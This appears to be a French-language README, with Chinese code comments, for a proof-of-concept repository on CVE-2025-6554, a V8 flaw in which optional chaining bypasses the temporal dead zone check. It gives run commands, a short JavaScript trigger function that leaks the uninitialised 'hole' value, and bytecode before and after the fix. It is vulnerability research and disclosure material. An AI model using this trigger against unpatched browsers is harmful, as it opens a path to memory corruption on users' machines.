
CVE-2025-6554 PoC
⚠️ Projet de recherche en sécurité - Ce projet est réservé à la recherche en sécurité et à des fins éducatives. Ne l'utilisez pas dans un environnement de production.
CVE-2025-6554 est une vulnérabilité critique du moteur V8 de Chrome, impliquant le mécanisme de vérification de la « zone morte temporelle » (TDZ) en JavaScript. Ce projet fournit un code de preuve de concept complet ainsi que des outils de démonstration.
Cette vulnérabilité survient lorsque le moteur V8 traite l'opérateur de chaînage optionnel (?.) sans vérifier correctement si la variable a été initialisée, permettant l'accès à des variables non déclarées et contournant le mécanisme de protection TDZ.
git clone https://github.com/9Insomnie/CVE-2025-6554.git
cd CVE-2025-6554
CVE-2025-6554/
├── Exploit.js # 原始漏洞利用代码
├── Test-Exploit.js # 测试版本
├── poc.html # 检测文件
├── README.md # 项目说明
└── 使用说明.md # 详细使用指南
# 使用V8的d8调试器运行
c:\path\to\v8\out\x64.debug\d8 --allow-natives-syntax --print-bytecode Exploit.js
# 运行测试版本
node Test-Exploit.js
# 或运行原始利用代码
node Exploit.js
Ouvrez directement le fichier HTML dans le navigateur pour effectuer le test (les fonctionnalités correspondantes doivent être prises en charge).
function leak_hole() {
let x;
delete x?.[y]?.a; // 使用未声明的变量y
return y; // 应该抛出ReferenceError
let y; // y在这里才声明
}
Avant le correctif :
0x32600100133 @ 11 : b6 00 ThrowReferenceErrorIfHole [0]
Après le correctif :
0x29f00100133 @ 11 : b6 00 ThrowReferenceErrorIfHole [0]
0x29f00100144 @ 28 : b6 00 ThrowReferenceErrorIfHole [0] // 新增检查
delete x?.[y]?.a# 检查漏洞是否存在
node Test-Exploit.js
# 查看详细字节码
d8 --allow-natives-syntax --print-bytecode Exploit.js
Cette vulnérabilité a été découverte par des chercheurs en sécurité et concerne le mécanisme de vérification TDZ du moteur V8. Grâce à l'opérateur de chaînage optionnel, un attaquant peut contourner la vérification d'initialisation des variables et obtenir le contrôle de la mémoire.
Ce projet est sous licence MIT - consultez le fichier LICENSE pour plus de détails.
⚠️ Avertissement de non-responsabilité : Ce projet est uniquement destiné à la recherche en sécurité et à des fins éducatives. L'utilisateur assume l'entière responsabilité des risques liés à son utilisation ; l'auteur décline toute responsabilité légale.
🔒 Signalement de sécurité : Si vous découvrez un nouveau problème de sécurité, veuillez nous contacter via les GitHub Issues.